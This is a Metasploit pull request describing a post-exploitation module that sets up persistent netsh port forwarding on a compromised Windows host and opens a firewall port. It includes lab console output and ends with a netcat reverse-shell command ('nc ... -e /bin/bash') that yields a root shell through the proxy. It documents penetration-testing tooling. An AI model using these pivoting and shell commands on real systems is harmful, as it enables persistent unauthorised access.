rapid7/metasploit-framework — pull request #2283 by bmerinofe (2013-08-26 13:10:43+00:00)
Title: added portproxy post meterpreter module

This module uses the PortProxy interface from netsh to set up port forwarding persistently (even after reboot). PortProxy supports TCP IPv4 and IPv6 connections. Useful to leave the host as a proxy to access other hosts.

Here an example (Windows XP: 192.168.1.104):

msf post(portproxy) > show options

Module options (post/windows/manage/portproxy):

Name Current Setting Required Description
---- --------------- -------- -----------
CADDRESS 192.168.1.82 yes IPv4/IPv6 address to which to connect.
CPORT 8888 yes Port number to which to connect.
LADDRESS 0.0.0.0 yes IPv4/IPv6 address to which to listen.
LPORT 6543 yes Port number to which to listen.
SESSION 2 yes The session to run this module on.
TYPE v4tov4 yes Type of forwarding. Valid values: v4tov4, v6tov6, v6tov4, v4tov6.

msf post(portproxy) > set session 3
session => 3
msf post(portproxy) > run

[*] Checking IPv6. This could take a while ...
[+] IPV6 installed.
[*] Setting PortProxy ...
[+] PortProxy added.
[*] Local IP	Local Port	Remote IP	Remote Port
[*] 0.0.0.0 8888 192.168.1.65 5555
[*] 0.0.0.0 3232 192.168.1.82 9999
[*] 0.0.0.0 2221 192.168.1.82 9999
[*] 0.0.0.0 1111 192.168.1.1 5552
[*] * 8001 192.168.1.212 9090
[*] 0.0.0.0 9874 192.168.1.82 8181
[*] 0.0.0.0 6543 192.168.1.82 8888
[*] Setting port 6543 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed

Check it with nc:

# root@Kripton:/home# nc -l -p 8888
# root@Kripton:~# nc 192.168.1.104 6543 -e /bin/bash
------------------------------------------------------------------------------------------
root@Kripton:/home# nc -l -p 8888
whoami
root